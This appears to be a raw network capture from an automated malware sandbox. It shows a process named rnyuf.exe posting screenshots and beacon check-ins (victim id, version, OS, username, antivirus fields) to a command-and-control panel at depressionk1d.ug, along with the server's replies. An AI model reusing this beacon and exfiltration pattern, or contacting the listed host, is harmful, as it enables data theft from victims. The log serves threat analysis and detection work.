6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:05.833414078 CET	10348	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.4	50049	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:05.844512939 CET	10349	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:05.844644070 CET	10349	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:05.844856977 CET	10359	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:05.844961882 CET	10362	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:05.867327929 CET	10365	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:05.867364883 CET	10371	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:24:05.867376089 CET	10373	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:24:05.867423058 CET	10381	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:24:05.867435932 CET	10383	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:24:05.867482901 CET	10385	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:24:05.867538929 CET	10388	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:24:05.939395905 CET	10459	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:05 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:24:06.070839882 CET	10460	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:06.098948002 CET	10461	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49806	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:22.347075939 CET	2983	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----72f5cde377fbc84156c9f93b3b5c40e7 Host: depressionk1d.ug Content-Length: 106960 Cache-Control: no-cache
Nov 12, 2021 22:23:22.347258091 CET	2983	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 32 66 35 63 64 65 33 37 37 66 62 63 38 34 31 35 36 63 39 66 39 33 62 33 62 35 63 34 30 65 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------72f5cde377fbc84156c9f93b3b5c40e7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:22.347424030 CET	2993	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:22.347526073 CET	2996	OUT	Data Raw: 48 7a d2 d1 4c 42 52 d1 40 a0 61 45 14 1a 04 14 52 aa b3 1c 2a 92 7d 00 ab 29 a7 5e 49 f7 6d df fe 04 31 fc e8 49 bd 82 e5 5a 2b 49 34 4b a6 fb c6 34 fa 9c ff 00 2a ad 7b 68 6c a6 58 cb 86 25 77 64 0c 77 3f e1 54 e1 24 ae d0 26 8a d4 51 47 6a 91 Data Ascii: HzLBR@aER})^Im1IZ+I4K4{hlX%wdw?T$&QGjQ@(Z()h(4QEzE$q^?YM#_Iuq]LI<c:;R@E-RZ)1ERLBbPhRbRSR)EPA
Nov 12, 2021 22:23:22.369777918 CET	3001	OUT	Data Raw: 32 b1 f3 ab 0f 8c e7 f6 9c ae e6 87 83 bc 41 35 cd de 95 a1 5e e4 dc d9 5d b9 8d ba e5 04 32 82 09 f6 24 0f a7 d2 bc db e3 77 fc 94 79 7f eb d6 2f e5 5e a3 e1 7f 00 ea da 2f 88 ed 35 1b ab 8b 37 8a 1d fb 84 6e e5 b9 42 a3 19 51 ea 3b d7 97 7c 6d Data Ascii: 2A5^]2$wy/^/57nBQ;\|m7{E:O'uo0h5UY<hqBjeL~ko^4.J9\aAdqSG?"ibl.yT^kG
Nov 12, 2021 22:23:22.369811058 CET	3007	OUT	Data Raw: 17 fc 29 ba 2d a7 1e 8c 95 51 27 cd d5 1d cc 25 ed a0 b1 7b 96 09 73 af aa 68 d7 00 9e 62 68 91 e0 93 3c 8c 7c fe 43 7a 71 59 17 da 75 ed ee bd 71 6b 67 11 9e 2d 3e 4b 6d 25 48 75 00 cb b7 60 ea 47 de 74 73 9e 9c f3 8a e7 04 da 42 9c 8b 4b 9e 7f Data Ascii: )-Q'%{shbh<\|CzqYuqkg->Km%Hu`GtsBK)nQ2R_[S[Go$KfpV(z>e#J?*H4NR7iyr%T"rx)Gj)())i(R99P (9;@x25
Nov 12, 2021 22:23:22.369827032 CET	3015	OUT	Data Raw: dc e2 e6 f6 74 da 5d 7f ba 83 be 7f fd 78 ef d1 51 d4 9d 38 c2 71 e5 4a da bd b4 ed eb f3 39 a9 aa 70 a9 29 c2 5c cd df 45 be bd fd 3c ec 72 1e 2e de 7e 01 d9 87 ce ef b4 2e 33 e9 e6 3e 3f 4c 57 85 90 6b e9 1f 8b f6 d0 d9 7c 30 16 b0 26 c8 62 9e Data Ascii: t]xQ8qJ9p)\E<r.~.3>?LWk\|0&bE5)Tr:eN1#\f(mlfE.6JJ!)QE(((E.91EXZ)h(-PJ)Z(@GjQP)i(QE1KIQLAKE)h-SBZ
Nov 12, 2021 22:23:22.369844913 CET	3019	OUT	Data Raw: d3 85 37 14 e1 56 26 2d 3a 9b 4e a6 89 62 d2 8a 4a 51 54 21 69 69 29 c2 9a 24 50 29 d8 a4 a5 aa 44 86 29 71 45 2d 55 85 71 36 d2 62 9f 4b 45 85 72 3d b4 15 a9 71 46 29 f2 87 31 0e da 36 d4 db 68 db 9a 39 43 98 87 14 b8 a9 7c ba 36 52 e5 0e 64 44 Data Ascii: 7V&-:NbJQT!ii)$P)D)qE-Uq6bKEr=qF)16h9C\|6RdDE.MmmI6b#t>mr!U7JK5Q<AqMQR](WL(}EOc8T"mtI!EN18i9.())bRS\P2@pKbb
Nov 12, 2021 22:23:22.370318890 CET	3021	OUT	Data Raw: ac 5f 52 b6 29 71 52 9b 77 1d 54 d3 7c b2 3b 7e 94 f9 47 cc 86 8a 78 eb 40 4a 76 da a4 89 b8 0a 78 a6 81 4f 02 a8 86 18 a7 6d a4 a5 14 12 1b 28 d9 52 0a 70 a7 62 79 99 5c c7 49 e5 d5 ac 52 ec cd 16 0e 72 9f 97 49 e5 d5 df 2e 93 ca f6 a5 ca 3f 68 Data Ascii: _R)qRwT\|;~Gx@JvxOm(Rpby\IRrI.?hRV^{BJ6!J\S)EB&\Q`8\R7\S1\n(Q,+4E?\|&lS~;5Y.)rL.;Z\~0}(hP}'t@
Nov 12, 2021 22:23:22.392244101 CET	3024	OUT	Data Raw: 5c a5 c5 ee f8 9d a2 cb 0d 8b e5 8d b9 6c 13 b8 b7 19 5e f9 a7 db 78 d3 50 53 13 6a 16 36 77 4d 16 a3 06 a2 86 de de 1b 52 25 8d b2 c5 8c 71 8d db 94 91 93 9c 70 7d 8d 73 56 bf cf fc bf e0 90 e3 46 df 2f eb f4 24 d4 b4 48 ed db 52 53 a3 6b 5a 5b Data Ascii: \l^xPSj6wMR%qp}sVF/$HRSkZ[ZMA3>8O}y>.R\|R$%,er[BKj0Y+&zs1kVE$ZzK&w5!vC'ohV[kA!\8
Nov 12, 2021 22:23:22.392287016 CET	3032	OUT	Data Raw: 7e f8 98 7c f1 29 a7 ed a4 b7 46 c9 a7 b3 39 12 a4 76 34 9f 5a ea cd ad 9c bd 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d Data Ascii: ~\|)F9v4ZShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)
Nov 12, 2021 22:23:22.439791918 CET	3093	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:22 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.4	50051	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:06.738065958 CET	10462	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:06.760540009 CET	10464	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:06 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:06.760556936 CET	10464	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.4	50052	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:06.915276051 CET	10466	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
